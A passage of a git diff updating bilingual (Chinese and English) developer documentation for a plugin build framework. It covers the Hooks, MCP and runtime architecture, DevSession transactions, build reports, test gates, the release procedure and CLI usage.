[runtime-source.ts](../../packages/extensions/hooks/src/runtime-source.ts):生成平台中立安全 Handler,限制输入输出和 JSON 深度,拦截作者 stdout/stderr/exit。 -- [wire-source.ts](../../packages/extensions/hooks/src/wire-source.ts):由 Adapter 生成平台协议 wire,负责 stdin/stdout 与 camelCase/规范结果映射。 -- [adapters.ts](../../packages/extensions/hooks/src/adapters.ts):六个平台事件矩阵、Artifact 布局、Document patch 和兼容性报告。 +### MCP -作者只实现语义函数: +- descriptor:`src/mcp//mcp.ts` plain HTTP/stdio 判别联合; +- HTTP:只交付 URL、header 与 `{ env }` Secret 引用,构建不读取值; +- stdio:完整 server 通过 Core `portable-node` 构建,并以真实 `initialize → initialized → tools/list` smoke 校验; +- Contributors:Claude Code/Codex/OpenCode 可消费 local stdio,Pi 全部 unsupported,其他平台按真实 transport 能力报告。 -```ts -export default defineHook({ - event: 'PreToolUse', - async run(input, context) { - return { decision: 'allow', updatedInput: input.toolInput } - }, -}) -``` - -作者不能提交 shell 命令、原始平台 Handler、HTTP 回调或任意 stdout 协议。 - -### 12.2 数据流 +Extension 没有自己的 Rolldown、watcher、输出事务、依赖图或顺序 API。 -```text -src/hooks//hook.ts -→ DiscoveredHook { id, sourcePath, branded definition } -→ validate event/matcher/timeout/platform options -→ BundledHook { definition, handler.mjs, optional licenses } -→ BuiltHooks(按 ID 稳定顺序) -→ 当前 Platform Adapter -→ handler.mjs + wire.mjs + 平台 Hook 配置 -→ Document patch(仅需要 manifest 引用的平台) -``` +## 11. 内建 Node Runtime -同一个平台中立 `handler.mjs` 被多个 Adapter 复用;每个平台贡献相邻 `wire.mjs`。这样作者逻辑不会为六个平台重复 Bundle,平台 stdin/stdout 协议也不会污染作者 API。 - -### 12.3 实现伪代码 - -```ts -function hooks(options) { - return defineExtension({ - discover: scanAndLoadBrandedHookDescriptors, - validate: validateCanonicalEventsAndConfiguredPlatformFields, - build: async discovered => { - for (hook of discovered.sortedHooks) { - runner = generateBoundedSemanticRunner(hook) - chunk = rolldownOneNode20EsmChunk(runner) - rejectNativeAddonsAndUnexpectedAssets(chunk) - collectThirdPartyLicenses(chunk) - } - return freezeBuiltHooks() - }, - adapters: sixOfficialAdapters, - }) -} - -adapter.apply(context, built): - for each applicable supported hook: - reportExactEventAndFieldCompatibility() - context.emitArtifact(handler, wire, optionalLicenses) - emitPlatformHookManifestOrRuntimePlugin() - context.patchDocument(onlyWhenPlatformExposesRequiredPoint) -``` +Runtime 不使用 descriptor 或 Extension factory: -运行时失败只输出固定错误码;原始顶层异常、stdout/stderr 和 Secret 不进入报告或交付协议。 +- 默认把 `src/runtime/` 一级 TS/JS 文件当作 executable entry; +- `runtime.entries` 完整替换自动发现,可声明嵌套文件与 `module` kind; +- Core 使用一个逻辑 `portable-node` Job 编译全部入口,每个入口产生独立 `main.mjs` 和可选许可证; +- 固定输出路径为 `runtime//main.mjs` 与 `runtime//THIRD_PARTY_LICENSES.txt`; +- supported Platform 继承相同 Asset bytes,unsupported Platform 只报告兼容性。 -## 13. `@tokenroll/acplugin-extension-mcp` +语义 TypeScript 类型检查仍由作者工程 `tsc --noEmit` 负责;Runtime 编译只负责模块转换、bundle、交付、安全与许可证。 -### 13.1 内容与架构 +## 12. DevSession 与事务 -- [types.ts](../../packages/extensions/mcp/src/types.ts):`defineMcpServer()` 品牌、HTTP/stdio 判别联合、literal/env 值来源。 -- [discovery.ts](../../packages/extensions/mcp/src/discovery.ts):扫描 `src/mcp//mcp.ts`,校验 HTTPS/auth/header 或本地入口边界。 -- [bundler.ts](../../packages/extensions/mcp/src/bundler.ts):stdio 单 chunk Bundle、动态 import/原生 addon 拒绝、许可证和真实协议 smoke。 -- [adapters.ts](../../packages/extensions/mcp/src/adapters.ts):把规范 Server 映射为各平台配置和文件布局。 -- [index.ts](../../packages/extensions/mcp/src/index.ts):HTTP-only 路径不加载 Rolldown;出现 stdio 时才动态 import `bundler.mjs`。 +`kernel/dev-session.ts` 是唯一 Chokidar owner: -两种作者输入有不同数据性质: +- 同一时间只有一个 active BuildSession; +- active round 期间的变化合并到下一轮; +- 每轮根据 Resource/Module/Compiler 实际快照动态 reconciliation watcher; +- watcher ready 后补偿构建关闭初始扫描竞态; +- config 失败后仍保留必要恢复监听; +- rebuild 失败保留最后一次成功输出; +- signal drain 与 `close()` 幂等。 -```ts -defineMcpServer({ - transport: 'http', - url: 'https://example.com/mcp', - auth: { type: 'bearer', env: 'MCP_TOKEN' }, // 只记录变量名 -}) - -defineMcpServer({ - transport: 'stdio', - entry: './server.ts', // 必须是完整 MCP Server - env: { LOG_LEVEL: { value: 'warn' }, TOKEN: { env: 'MCP_TOKEN' } }, -}) -``` - -### 13.2 数据流 +`transaction.ts` 对所选目标集合执行: ```text -src/mcp//mcp.ts -→ DiscoveredMcpServer -→ HTTP 安全策略 / stdio 入口验证 -→ HTTP: 直接进入 BuiltMcpServer -→ stdio: Rolldown → server.mjs → initialize/tools/list smoke -→ BuiltMcpServers -→ 当前 Platform Adapter -→ 配置 Document patch 和/或 server.mjs Artifact -``` - -`{ env: 'NAME' }` 的值在构建时永远不会从 `process.env.NAME` 读取。stdio smoke 也只获得显式 `{ value }` 字面量,使用固定超时、总输出上限和脱敏失败类别。 - -### 13.3 实现伪代码 - -```ts -function mcp(options) { - return defineExtension({ - discover: scanAndLoadBrandedMcpDescriptors, - validate: validatePortableHttpOrCompleteLocalStdio, - build: async discovered => { - if (allServersAreHttp) - return freezeDefinitionsWithoutLoadingRolldown() - - bundler = await import('./bundler.mjs') - for (server of discovered.sortedServers) { - if (server.transport === 'stdio') { - chunk = bundler.singleNode20EsmChunk(server.entry) - rejectNativeAddonAssetsAndUnresolvedDynamicImports(chunk) - await smokeInitializeAndToolsList(chunk, literalEnvironmentOnly) - } - } - return freezeBuiltServers() - }, - adapters: sixOfficialAdapters, - }) -} +lock → recovery → stage → materialization validation +→ transaction record/backup → swap → Session close → cleanup ``` -平台适配概况: +commit 的 Session close 位于 swap 后仍可 rollback 的窗口。任何必要 close 失败都会恢复旧输出。subset 构建在锁内验证并保留未选 Platform;fault-injection 测试覆盖每个持久化边界。 -| Platform | HTTP | stdio | Adapter 主要输出 | -| --- | --- | --- | --- | -| Claude Code | 支持 | 支持 | `.mcp.json` + manifest `mcpServers` 引用 + 可选 bundle | -| Codex | 支持 | 支持 | MCP server map + manifest 引用 + 可选 bundle | -| Cursor | 支持 | 不支持 | remote-only `mcp.json` | -| Antigravity | 支持 | 不支持 | `mcp_config.json` | -| OpenCode | 支持 | 支持 | patch `opencode.json.mcp` + 可选本地 bundle | -| Pi | 不支持 | 不支持 | 只报告 unsupported,不伪造配置 | - -## 14. `@acplugin/test`:跨包验收层 - -### 14.1 它与 package 内测试的区别 - -Package 内测试负责局部算法: - -- `packages/core/test/`:Schema、图、Registry、生命周期、锁和事务。 -- `packages/platforms//test/`:转换、golden 和最终 Validator。 -- `packages/extensions//test/`:作者协议、Bundle、Adapter 和运行时。 - -`packages/test` 负责只有“多个包真实装配后”才能验证的事情: - -- [build.test.ts](../../packages/test/test/build.test.ts):完整多平台构建、确定性和提交树。 -- [cli.test.ts](../../packages/test/test/cli.test.ts):真实 CLI 子进程、stdout/stderr、退出码和 dev 恢复。 -- [migration.test.ts](../../packages/test/test/migration.test.ts):隔离 Migration 到规范工程的集成。 -- [architecture.test.ts](../../packages/test/test/architecture.test.ts):旧 Compiler/Module 架构不回流。 -- [package-boundaries.test.ts](../../packages/test/test/package-boundaries.test.ts):私有依赖内联、九个公开包边界、peer rewrite、主包无集成 re-export/subpath。 -- [repository.test.ts](../../packages/test/test/repository.test.ts):workflow、Node 范围和仓库契约。 -- `claude-code.test.ts`、`codex.test.ts`、`secondary-platforms.test.ts`:跨包平台语义。 -- `hooks.test.ts`、`ecosystem-contract.test.ts`:Extension 生命周期和第三方契约。 - -### 14.2 数据流与伪代码 - -[Vitest 配置](../../packages/test/vitest.config.ts)把大部分包名 alias 到 workspace 源码,方便精确覆盖。Platform 单测的 test-only alias 会让私有 Core 与主包 SDK 指向同一源码实例,以验证真实 Symbol 品牌语义;生产包仍只 import 主包。`pretest` 会构建真实 package `dist`,供 CLI/包边界测试读取。 - -```ts -pretest: - build(Core) - build(publicPlatformsAndExtensions) - build(publicMain) - -vitest: - unitLikeIntegrationUsesWorkspaceSourceAliases() - cliTestsSpawnRealDistCli() - packageBoundaryTestsInspectRealDistAndDeclarations() - determinismTestsBuildEquivalentProjectsInDifferentRootsAndEnvironments() - -release:verify(Vitest 之外): - packNineIndependentlyVersionedTarballsFromOneRevision() - inspectEsmGraphPeerRewriteAndRuntimeDependencies() - verifyOfficialAndThirdPartyBrandInteroperability() - installAndRunCleanTarballConsumers() -``` - -选择测试位置的原则:如果错误只在一个 Registry 或转换器内发生,放所属 package;如果需要 façade、CLI、多个包、真实 bundle/tarball 或事务树共同出现,放 `packages/test`。 +## 13. BuildReport -## 15. `@acplugin/docs` 与 `@acplugin/playground`:仓库内消费层 +schema-v2 `BuildReport` 包含: -### 15.1 Docs 的内容、架构与数据流 +- framework/compiler version、command、mode、success、committed; +- Component、Runtime、Extension、Platform 状态; +- Package Unit 与 Asset 的 path/owner/origin/mode/size/SHA-256; +- compatibility 与 metadata disposition; +- 绑定 phase/owner/platform/extension/component 的稳定诊断。 -- [typedoc.json](../../packages/docs/typedoc.json):使用 packages strategy,显式扫描九个公开 package 的 `src/index.ts`,排除 private/protected/internal API,并把 warning 当作失败。 -- [.vitepress/config.mts](../../packages/docs/.vitepress/config.mts):定义 Guide、Config、Platforms、Extensions、Ecosystem、Playground、Resources 和自动 API sidebar;使用本地搜索与默认主题。 -- 手写 Markdown 按用户任务组织,TypeDoc API 输出到 ignored 的 `packages/docs/api/`;两者由 VitePress 在 build 时合并。 -- [verify-docs.mjs](../../scripts/verify-docs.mjs):逐包验证根页和代表 API,拒绝私有 package 页面及本机绝对路径泄漏。 - -```text -nine public src/index.ts -→ TypeDoc + markdown theme -→ ignored api/*.md + typedoc-sidebar.json -→ VitePress manual + generated API -→ dead-link/local-search/static build -→ verify public/private package boundary -``` +报告不包含 Asset bytes、原始异常、Secret 值、环境值、工程绝对路径、临时路径或时间戳。CLI `--json` 与程序化 API 返回同一结构。 -TypeDoc 因旧 Compiler API 兼容性在此 workspace 使用 TypeScript 6;正式源码 typecheck 和 Playground 仍使用 catalog 的 TypeScript 7。生成物可重建且不提交,也不能成为 release tarball 输入。 +## 14. 测试与质量门 -### 15.2 Playground 的内容、架构与数据流 - -[acplugin.config.ts](../../packages/playground/acplugin.config.ts)显式装配主包、六个 Platform、Hooks 和 MCP。工程包含四个 Command、一个带 references/icons auxiliary 的 `project-workflow` Skill、三个 Agent、全部 11 个 portable Hook、四类 MCP 定义,以及 runtime/schema/upgrade 静态资源和 Public 模板。 - -```text -domain-neutral capability authoring files -→ real public package imports -→ acplugin validate --json -→ exact six-Platform compatibility whitelist -→ real managed build for six primary units + two Marketplaces -→ verify Artifact registry / Component content / Hook wire / MCP protocol -→ secret scan + repeated-build byte/mode snapshot +| 目录/脚本 | 重点 | +| --- | --- | +| `packages/core/test/` | Resource/graph、Host、Compiler、Registry、Package、transaction、DevSession | +| `packages/platforms/*/test/` | Component 转换、golden、candidate validator、确定性 | +| `packages/extensions/*/test/` | descriptor、build、Contributor、compatibility、真实 runtime/protocol | +| `packages/test/test/` | CLI、init、Migration、九包边界、SDK consumer、六平台集成 | +| `scripts/verify-playground.mjs` | 全能力文件树、协议执行、Secret、双构建确定性 | +| `scripts/verify-release.mjs` | 九个 tarball、ATTW/publint、peer rewrite、clean consumer | + +完整门禁: + +```bash +pnpm run lint +pnpm run typecheck +pnpm run test +pnpm run build +pnpm run docs:check +pnpm run release:verify ``` -配置使用 `strict: false` 观察六个平台的真实能力差异;[verify-playground.mjs](../../scripts/verify-playground.mjs)精确列出允许的 degradation/unsupported,并要求不支持项没有伪 Artifact。验证器执行全部受支持 Hook handler/wire、三个 local MCP bundle 的 initialize/tools-list/tools-call、Marketplace 字节继承、Secret 扫描和双构建确定性。Playground 只提供领域中立的能力示例,不实现具体产品业务。 - -## 16. 快速定位:我要改什么,先看哪里 +## 15. 修改入口速查 -| 任务 | 第一落点 | 通常需要同步检查 | +| 变更 | 首要位置 | 必须联动 | | --- | --- | --- | -| 新增/修改规范 Component 字段 | Core `types.ts`、`scanner.ts` | 六平台 components、兼容性、Scanner 测试 | -| 修改生命周期阶段或 Context | Core `contracts.ts`、`lifecycle.ts` | 第三方契约测试、全部 Platform/Extension 类型测试 | -| 修改 Document 合并 | Core `documents.ts` | owner 冲突、顺序语义、生态契约测试 | -| 修改 Artifact 路径/来源 | Core `artifacts.ts`、`output-paths.ts` | DeliveryUnit、事务、跨 owner 安全测试 | -| 修改最终输出提交 | Core `transaction.ts` | 每阶段 fault injection、恢复、旧输出保留 | -| 修改 CLI 参数/退出码 | 主包 `cli.ts` | CLI 子进程 JSON/文本测试 | -| 修改 dev 监听 | 主包 `project-config.ts`、`run-project.ts`、`cli.ts` | 配置依赖、外部 package、watch 恢复测试 | -| 修改某平台文件格式 | 对应 Platform `components.ts`/manifest | Validator、golden、兼容性矩阵 | -| 修改 Hook 作者语义 | Hooks `types.ts`/`discovery.ts` | runner、wire、六平台 Adapter | -| 修改 MCP transport/auth | MCP `types.ts`/`discovery.ts` | bundler smoke、所有 Adapter、Secret 测试 | -| 修改发布边界 | package manifest、tsdown、verify script | publint、ATTW、tarball consumer、ESM import graph | -| 修改文档信息架构或公共 API 页面 | `packages/docs`、公开源码 JSDoc | TypeDoc generation、VitePress dead link、`verify-docs` | -| 修改 Playground 模板或允许的兼容性 | `packages/playground` | typecheck、六平台白名单、Hook/MCP 协议、双构建确定性 | - -## 17. 推荐阅读顺序 - -第一次完整上手可按以下顺序: - -1. 主包 [src/index.ts](../../packages/acplugin/src/index.ts),先知道公开表面有多小。 -2. Core [contracts.ts](../../packages/core/src/contracts.ts) 和 [types.ts](../../packages/core/src/types.ts),建立数据模型。 -3. Core [lifecycle.ts](../../packages/core/src/lifecycle.ts),沿固定顺序看主控制流。 -4. Core [documents.ts](../../packages/core/src/documents.ts)、[artifacts.ts](../../packages/core/src/artifacts.ts)、[transaction.ts](../../packages/core/src/transaction.ts),理解三个关键安全边界。 -5. 任选一个简单 Platform(Cursor 或 OpenCode)读完 `index → components → manifest/config → validator`。 -6. 再读 Codex,理解 fallback、兼容性和复杂 Validator。 -7. 最后读 Hooks/MCP 的 `types → discovery → bundler → adapters`,理解横向能力如何不侵入 Platform。 -8. 用 `packages/test` 中对应集成测试反向验证自己的理解。 -9. 最后从 `packages/docs` 看公共叙事与 API,从 `packages/playground` 看完整真实消费闭环。 - -本仓库的核心判断口诀是:**谁拥有数据、谁能读取来源、谁负责最终验证、失败时旧输出是否仍完整。** 遇到新需求时先回答这四个问题,通常就能找到正确 package 和正确抽象层。 +| Canonical Component 字段/布局 | `resources/canonical-provider.ts`、`kernel-types.ts` | 六 Platform 转换、graph、报告、golden | +| Package/Asset 安全不变量 | `kernel/asset-registry.ts`、`package/*` | owner、candidate、transaction、report 测试 | +| Compiler profile | `compiler/*`、`kernel-types.ts` | Watch、license、Hooks/MCP/Runtime、SDK type tests | +| Platform 格式 | 对应 `packages/platforms/` | compatibility、validator、Extension Contributor | +| Extension 作者协议 | 对应 `types.ts`/`discovery.ts` | build、六 Contributor、protocol smoke | +| Runtime 约定 | `resources/runtime-provider.ts`、config resolver | capability、路径 helper、双平台交付与执行 | +| dev 监听 | `kernel/dev-session.ts`、各 Host watch observation | CLI 子进程、恢复、coalescing、close 测试 | +| 输出事务 | `transaction.ts` | fault injection、full/subset、rollback、cleanup | +| 公开 API | `kernel-author.ts` 或 `kernel-sdk.ts`、主包入口 | TypeDoc、type tests、tarball consumer、peer range | + +推荐阅读顺序:`acplugin/src/index.ts` 与 `sdk.ts` → `kernel-types.ts` → `kernel/build-session.ts` → Resource/Package Registry → 一个官方 Platform → Hooks/MCP → DevSession 与 transaction → Playground/release verifier。 diff --git a/llmdoc/guides/release.md b/llmdoc/guides/release.md index 9d2f3eb..fd4e3b4 100644 --- a/llmdoc/guides/release.md +++ b/llmdoc/guides/release.md @@ -42,7 +42,7 @@ The repository setting **Actions → General → Workflow permissions → Allow pnpm run release:verify ``` -`release:verify` packs all nine packages in a temporary directory, runs type-resolution and package-lint checks on the actual tarballs, validates manifests and contents, verifies peer rewriting and private Symbol-brand interoperability through one main-package peer instance, then installs and builds a six-Platform/two-Extension scaffold in a clean external consumer. For the main package it parses the packed ESM graph, proves the CLI-to-Migration edge remains lazy, checks every external import against declared runtime dependencies, and rejects normal runtime dependencies on official integrations. It never publishes. CI passes `--tarball-dir ` to retain the exact verified files for the separate Node 20.19 consumer job; local calls can use the same option when tarballs need to be retained for release. +`release:verify` packs all nine packages in a temporary directory, runs type-resolution and package-lint checks on the actual tarballs, validates manifests and contents, verifies peer rewriting and shared registry-brand interoperability through one main-package peer instance, then installs and builds a six-Platform/two-Extension scaffold in a clean external consumer. The consumer executes the Core Runtime output and proves Claude Code/Codex receive identical bytes. For the main package it parses the packed ESM graph, proves the CLI-to-Migration edge remains lazy, checks every external import against declared runtime dependencies, and rejects both external and bundled official integrations. It never publishes. CI passes `--tarball-dir ` to retain the exact verified files for the separate Node 20.19 consumer job; local calls can use the same option when tarballs need to be retained for release. Commit the exact verified release preparation before publishing. Do not rebuild from another revision after verification. @@ -65,13 +65,7 @@ npm publish --access public --otp npm view @ version ``` -For the first publication of the nine `0.0.1-beta` packages, a maintainer may use the simplified root command: - -```bash -pnpm run publish:beta -``` - -The root `prepublish:beta` first runs a frozen install and `release:preflight`. The preflight performs lint and typecheck, builds the workspace once, runs tests with package pre/post scripts disabled, validates Docs/Playground without rebuilding the workspace, and finishes with `release:verify`. `pnpm -r publish` then selects only the public `@tokenroll/*` packages, pins the npmjs Registry and the `beta` tag, and lets every public package rebuild itself through `prepublishOnly` immediately before packing. This command is limited to the initial nine-package `0.0.1-beta` cohort; it must not be reused for stable or independently versioned incremental releases, or invoked by a Workflow. +The initial cohort has already been published, so the repository intentionally has no root command that publishes every public package. Run `release:preflight`, then publish only the selected, already verified tarballs with the explicit command above. If publication is interrupted, query every planned exact version and continue only with missing versions whose peer dependencies are already available. npm versions are immutable and must not be republished. diff --git a/llmdoc/guides/release.zh-CN.md b/llmdoc/guides/release.zh-CN.md index bb6052a..d36a3ec 100644 --- a/llmdoc/guides/release.zh-CN.md +++ b/llmdoc/guides/release.zh-CN.md @@ -42,7 +42,7 @@ Core、测试工作区、Docs 和 Playground 是私有包,不能发布,也 pnpm run release:verify ``` -`release:verify` 会在临时目录中打包九个 package,对实际 tarball 执行类型解析与 Package Lint,检查 manifest 和内容,验证 peer rewrite,以及经同一主包 peer 实例产生的私有 Symbol 品牌互操作,再在干净外部消费者中安装并构建六 Platform/两 Extension 脚手架。对于主包,它会解析 tarball 内真实 ESM 图,证明 CLI 到 Migration 的边仍是 lazy,逐条核对外部 import 与已声明运行时依赖,并拒绝主包正常运行图对官方集成产生依赖。它绝不会发布任何内容。CI 通过 `--tarball-dir ` 保留精确验证过的文件,供独立 Node 20.19 consumer job 使用;本地需要保留待发布 tarball 时也可使用该参数。 +`release:verify` 会在临时目录中打包九个 package,对实际 tarball 执行类型解析与 Package Lint,检查 manifest 和内容,验证 peer rewrite,以及经同一主包 peer 实例产生的私有 Symbol 品牌互操作,再在干净外部消费者中安装并构建六 Platform/两个 Extension 脚手架。消费者会真实执行 Core Runtime,并证明 Claude Code/Codex 收到相同字节。对于主包,它会解析 tarball 内真实 ESM 图,证明 CLI 到 Migration 的边仍是 lazy,逐条核对外部 import 与已声明运行时依赖,并拒绝主包外部引用或内联官方集成。它绝不会发布任何内容。CI 通过 `--tarball-dir ` 保留精确验证过的文件,供独立 Node 20.19 consumer job 使用;本地需要保留待发布 tarball 时也可使用该参数。 发布前必须提交这份精确验证过的发布准备。验证后不得从另一个 Revision 重新构建待发布文件。 @@ -65,13 +65,7 @@ npm publish --access public --otp npm view @ version ``` -首次发布九个 `0.0.1-beta` package 时,可以由维护者在仓库根手工执行简化命令: - -```bash -pnpm run publish:beta -``` - -根 `prepublish:beta` 会先执行 frozen install 和 `release:preflight`。该前置检查依次执行 lint/typecheck、一次全仓构建、关闭 package pre/post 生命周期的测试、不再重建全仓的 Docs/Playground 验证,最后执行 `release:verify`;随后 `pnpm -r publish` 只选择 `@tokenroll/*` 公开包,并使用固定的 npmjs Registry 与 `beta` tag。九个公开 package 各自通过 `prepublishOnly` 在实际 pack 前重建自身。该命令只适用于所有九个包均为首次发布的 `0.0.1-beta` cohort,不得复用于稳定版或独立增量发布,也不得由 Workflow 自动调用。 +初始 cohort 已完成发布,因此仓库有意不再提供一次发布全部公开包的根命令。先运行 `release:preflight`,再使用上面的显式命令只发布已选中且经过验证的 tarball。 如果发布过程被中断,查询计划中的每个精确版本,只继续发布 peer dependency 已可满足且 Registry 中仍缺失的版本。npm 版本不可变,不能重复发布。 diff --git a/llmdoc/guides/usage.md b/llmdoc/guides/usage.md index fe9b7b3..ab95341 100644 --- a/llmdoc/guides/usage.md +++ b/llmdoc/guides/usage.md @@ -13,15 +13,15 @@ pnpm install pnpm build ``` -`init` can add the official Hooks and MCP Extensions with `--hooks` and `--mcp`. Without `--platform`, its scaffolding selection is Claude Code and Codex; it still writes both Platform dependencies, imports, and config entries explicitly. Select any supported set instead: +`init` can add the official Hooks and MCP Extensions with `--hooks` and `--mcp`; `--node-runtime` generates a built-in conventional `src/runtime/main.ts` entry without adding another package or factory. Without `--platform`, its scaffolding selection is Claude Code and Codex; it still writes both Platform dependencies, imports, and config entries explicitly. Select any supported set instead: ```bash pnpm dlx @tokenroll/acplugin init my-plugin --yes \ --platform claude-code codex cursor antigravity opencode pi \ - --hooks --mcp + --hooks --mcp --node-runtime ``` -Every selected Platform is an independent package. An enabled Extension similarly adds its dependency, import, config entry, and empty source directory; `init` never invents a Hook handler or MCP server. The build runtime has no default package discovery or installation behavior. +Every selected Platform is an independent package. An enabled Extension similarly adds its dependency, import, config entry, and empty source directory; `init` never invents a Hook handler or MCP server. The built-in Runtime template is actual neutral executable source and relies on Core's default `src/runtime` discovery. The build runtime has no default package discovery or installation behavior. Known `init` input errors use the stable `INIT_INVALID` diagnostic and preserve a safe actionable reason. The specialized error class remains internal and is not exported from the public facade. @@ -44,7 +44,7 @@ export default defineConfig({ }); ``` -There is no Instructions Component. Hooks and MCP directories are accepted only when their official Extension is enabled. +There is no Instructions Component. Hooks and MCP directories are accepted only when their official Extension is enabled. `src/runtime` belongs to Core: direct TS/JS files are entries by convention, while `runtime.entries` can replace discovery and `runtime: false` can disable it. The TypeScript config and enabled Hook/MCP descriptors are trusted executable project code. Review them like build scripts. Legacy Migration sources are scanned as untrusted data and are not executed as descriptors. @@ -58,11 +58,11 @@ pnpm exec acplugin dev ``` - `validate` generates and materializes every selected Platform in temporary storage without changing `dist`. -- `inspect` adds Artifact details without changing `dist`. -- `build` atomically replaces the complete managed output only after every Platform succeeds. -- `dev` watches config, Jiti-transformed local config imports, canonical resources, Public, descriptors, and registered bundle imports. External transformed helpers are watched at their nearest package root. Native ESM imports that bypass Jiti transformation and runtime-computed dynamic targets are not precisely discoverable; keep them below the project root or connect their package through a transformed helper. Dev coalesces changes, closes watcher-readiness gaps with a catch-up build, and retains the last successful output after a failed rebuild. +- `inspect` adds Package and Asset details without changing `dist`. +- `build` atomically replaces the complete managed Package set only after every selected Platform succeeds. +- `dev` watches config, canonical resources, Public, descriptors, and the actual Core Module/Build Service graph, including plugin, license, and tsconfig dependencies. Resolved dependencies contribute package roots. Managed bundles reject runtime-computed imports that Rolldown cannot represent in the static module graph. Dev coalesces changes, closes watcher-readiness gaps with a catch-up build, and retains the last successful output after a failed rebuild. -Common options are `--config`, `--platform `, `--mode`, `--no-strict`, and `--json`. Strict mode is on by default. For example, a Codex build containing an Agent fails because Codex can only receive an explicit degraded Skill fallback; use `--no-strict` when that result is intentional. +Common options are `--config`, `--platform `, `--mode`, and `--json`. Strict mode is on by default and is configured through `build.strict` or a Platform factory override. For example, a Codex build containing an Agent fails because Codex can only receive an explicit degraded Skill fallback; use `codex({ strict: false })` when that result is intentional. To configure Platforms in an existing project, install and import each package explicitly: @@ -86,13 +86,7 @@ export default defineConfig({ `platforms` is required and `--platform ` only filters IDs already instantiated in that list. The main package does not re-export official factories or provide Platform subpaths. OpenCode output is a workspace overlay and Pi output is an npm package. They are not mislabeled as static Plugins. See the [Platform support matrix](../reference/conversion-matrix.md) before enabling strict multi-Platform builds. -Codex transforms Commands into explicit `command-` Skills by default. When a consumer specifically requires Plugin-visible generated IDs, opt in per Codex Platform instance: - -```ts -codex({ generatedSkillIds: { command: 'plugin-prefixed' } }) -``` - -For Plugin `my-plugin`, Command `bootstrap` then becomes `my-plugin-bootstrap`. This does not change the canonical Command ID, other Platforms, or the default Codex output. +Codex transforms Commands into explicit `-` Skills. For Plugin `my-plugin`, Command `bootstrap` becomes `my-plugin-bootstrap`; this does not change the canonical Command ID or other Platforms. ## Public files diff --git a/llmdoc/guides/usage.zh-CN.md b/llmdoc/guides/usage.zh-CN.md index 40e6ad1..770f634 100644 --- a/llmdoc/guides/usage.zh-CN.md +++ b/llmdoc/guides/usage.zh-CN.md @@ -13,15 +13,15 @@ pnpm install pnpm build ``` -`init` 可通过 `--hooks` 和 `--mcp` 加入官方 Hooks/MCP Extension。未传 `--platform` 时,它的脚手架选择是 Claude Code 和 Codex,但仍会显式写入两个 Platform 依赖、import 和配置项。也可以改为选择任意受支持组合: +`init` 可通过 `--hooks` 和 `--mcp` 加入官方 Hooks 与 MCP Extension;`--node-runtime` 只生成内建约定入口 `src/runtime/main.ts`,不会添加额外 package 或 factory。未传 `--platform` 时,它的脚手架选择是 Claude Code 和 Codex,但仍会显式写入两个 Platform 依赖、import 和配置项。也可以改为选择任意受支持组合: ```bash pnpm dlx @tokenroll/acplugin init my-plugin --yes \ --platform claude-code codex cursor antigravity opencode pi \ - --hooks --mcp + --hooks --mcp --node-runtime ``` -每个所选 Platform 都是独立 package。启用 Extension 同样只会添加依赖、Import、配置项和空源码目录;`init` 不会伪造 Hook Handler 或 MCP Server。构建运行时不会默认发现或安装 package。 +每个所选 Platform 都是独立 package。启用 Extension 同样只会添加依赖、Import、配置项和空源码目录;`init` 不会伪造 Hook Handler 或 MCP Server。内建 Runtime 模板是真实、中立的可执行源码,依赖 Core 默认的 `src/runtime` 自动发现。构建运行时不会默认发现或安装 package。 已知的 `init` 输入错误使用稳定的 `INIT_INVALID` 诊断,并保留安全、可操作的原因;对应的专用错误类型保持内部实现,不从公开门面导出。 @@ -44,7 +44,7 @@ export default defineConfig({ }); ``` -ACPlugin 不提供 Instructions Component。只有启用对应官方 Extension 后,工程才允许存在 Hooks 或 MCP 目录。 +ACPlugin 不提供 Instructions Component。只有启用对应官方 Extension 后,工程才允许存在 Hooks 或 MCP 目录。`src/runtime` 由 Core 拥有:一级 TS/JS 文件按约定成为入口,`runtime.entries` 可替换自动发现,`runtime: false` 可关闭该能力。 TypeScript 配置以及已启用的 Hook/MCP 描述文件都是受信任、可执行的项目代码,应当像构建脚本一样接受 review。Legacy Migration 来源会作为不可信数据扫描,不会作为描述文件执行。 @@ -58,11 +58,11 @@ pnpm exec acplugin dev ``` - `validate` 会在临时目录中生成并物化全部选中 Platform,不修改 `dist`; -- `inspect` 会增加 Artifact 明细,但不修改 `dist`; -- `build` 只有在全部 Platform 成功后才会原子替换完整受管输出; -- `dev` 监听配置、经 Jiti 转换的本地配置 import、规范资源、Public、descriptor 和登记的 Bundle import;工程外的已转换 helper 按最近 package root 监听。绕过 Jiti transform 的原生 ESM import 与运行时计算的动态目标无法被精确发现,应放在工程根下,或通过已转换 helper 把对应 package 接入监听边界。Dev 会合并变更,用 watcher ready 后的补偿构建关闭竞态窗口,并在重建失败时保留最后一次成功输出。 +- `inspect` 会增加 Package 与 Asset 明细,但不修改 `dist`; +- `build` 只有在全部所选 Platform 成功后才会原子替换完整受管 Package 集合; +- `dev` 监听配置、规范资源、Public、descriptor 和 Core Module/Build Service 的真实图,其中包括 Plugin、license 与 tsconfig 依赖;解析后的依赖会贡献 package root。托管 Bundle 中 Rolldown 无法表示在静态模块图内的运行时计算 import 会被拒绝。Dev 会合并变更,用 watcher ready 后的补偿构建关闭竞态窗口,并在重建失败时保留最后一次成功输出。 -通用选项包括 `--config`、`--platform `、`--mode`、`--no-strict` 和 `--json`。默认启用严格模式。例如,包含 Agent 的 Codex 构建会失败,因为 Codex 只能接收显式降级的 Skill 回退;当该结果符合预期时,可使用 `--no-strict` 明确接受。 +通用选项包括 `--config`、`--platform `、`--mode` 和 `--json`。默认启用严格模式,并通过 `build.strict` 或 Platform factory override 配置。例如,包含 Agent 的 Codex 构建会失败,因为 Codex 只能接收显式降级的 Skill 回退;当该结果符合预期时,可使用 `codex({ strict: false })` 明确接受。 现有工程需要显式安装并导入每个 Platform package: @@ -86,13 +86,7 @@ export default defineConfig({ `platforms` 是必填项,`--platform ` 只会筛选该列表中已经实例化的 ID。主包不重新导出官方工厂,也不提供 Platform subpath。OpenCode 产物是 Workspace Overlay,Pi 产物是 npm Package,不会被错误标记为静态 Plugin。启用严格多平台构建前应先查看[平台支持矩阵](../reference/conversion-matrix.zh-CN.md)。 -Codex 默认把 Command 转换为显式的 `command-` Skill。只有消费侧明确要求 generated ID 显示 Plugin name 时,才对对应 Codex Platform 实例启用: - -```ts -codex({ generatedSkillIds: { command: 'plugin-prefixed' } }) -``` - -对于 Plugin `my-plugin`,Command `bootstrap` 会生成 `my-plugin-bootstrap`。这不会改变 canonical Command ID、其他 Platform 或 Codex 默认输出。 +Codex 默认把 Command 